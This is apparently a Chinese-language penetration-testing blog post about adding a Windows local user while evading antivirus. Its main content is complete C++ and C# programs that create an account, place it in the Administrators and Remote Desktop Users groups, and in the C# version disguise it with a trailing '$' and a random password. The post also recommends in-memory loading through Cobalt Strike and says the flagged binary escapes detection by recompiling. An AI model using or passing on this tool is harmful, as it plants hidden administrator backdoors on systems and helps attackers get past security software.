Bypass AV 新增使用者

語言: CN / TW / HK

君子藏器於身待時而動,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

專案地址: UserAdd

前言

在滲透測試過程中,有時會登入遠端桌面等服務進行橫向,但需要知道 Windows 賬戶口令 (不考慮 hash 傳遞場景),而直接通過 net.exe 進行新增使用者,往往會被安全軟體直接阻斷攔截,這就需要呼叫 Windows API ,進行 Bypass AV。

安全阻斷

安全軟體的阻斷,實際就是對 net.exe 的呼叫進行了監控 (正常運維人員很少使用該命令),所以在Webshell或遠控上新增賬號,往往就會被阻止操作,賬號就會新增失敗。

命令列新增/刪除/修改賬戶,在火絨中屬於敏感動作防護規則。

Bypass AV

C++

NetUserAdd
NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  [in]  LPCWSTR servername,
  [in]  DWORD   level,
  [in]  LPBYTE  buf,
  [out] LPDWORD parm_err
);

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMember(
  LPCWSTR servername,
  LPCWSTR groupname,
  PSID    membersid
);

完整程式碼

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        
        fwprintf(stderr, L"Usage:UserAdd.exe <username> <password>\n", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

    else
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
        printf("Administrators added Successfully!");
    }
    else {
        printf("Administrators added Failed!");
    }
    return 0;
}

效果測試

C#

呼叫 DirectoryServices 新增本地使用者,同時可以刪除使用者、新增使用者組。

個人更傾向於C#的版本:

  1. 程式碼簡潔
  2. 便於 CobaltStrike 記憶體載入執行
public class DirectoryEntries : System.Collections.IEnumerable

完整程式碼

在 Visual Studio 中需要新增對程式集 System.DirectoryServices.dll 的引用。

using System;
using System.DirectoryServices;

// Reference:https://docs.microsoft.com/zh-cn/troubleshoot/dotnet/csharp/add-user-local-system

namespace UserAdd
{
    class Class1
    {
        static void Main(string[] args)
        {
            if (args.Length != 1)
            {
                Console.WriteLine("[!] The default is 10 bits random password");
                Console.WriteLine("Usage: UserAdd.exe <username>");
            }
            else
            {
                string user = args[0];
                string username = user + "$";
                //10位隨機密碼
                string chars = "[email protected]#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
                Random randrom = new Random((int)DateTime.Now.Ticks);
                string password = "";
                for (int i = 0; i < 10; i++)
                {
                    password += chars[randrom.Next(chars.Length)];
                }
                try
                {
                    DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
                    DirectoryEntry NewUser = AD.Children.Add(username, "user");
                    NewUser.Invoke("SetPassword", new object[] { password });
                    //NewUser.Invoke("Put", new object[] { "Description", "Test User from .NET" });
                    NewUser.CommitChanges();
                    DirectoryEntry grp;

                    grp = AD.Children.Find("Administrators", "group");
                    if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
                    grp = AD.Children.Find("Remote Desktop Users", "group");
                    if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
                    Console.WriteLine("[*] Account Created Successfully");
                    Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }

            }
        }
    }
}

之前在 github 釋出過編譯好的版本,但已經被火絨標記了 HackTool ,實際只檢驗了MD5,重新編譯即可。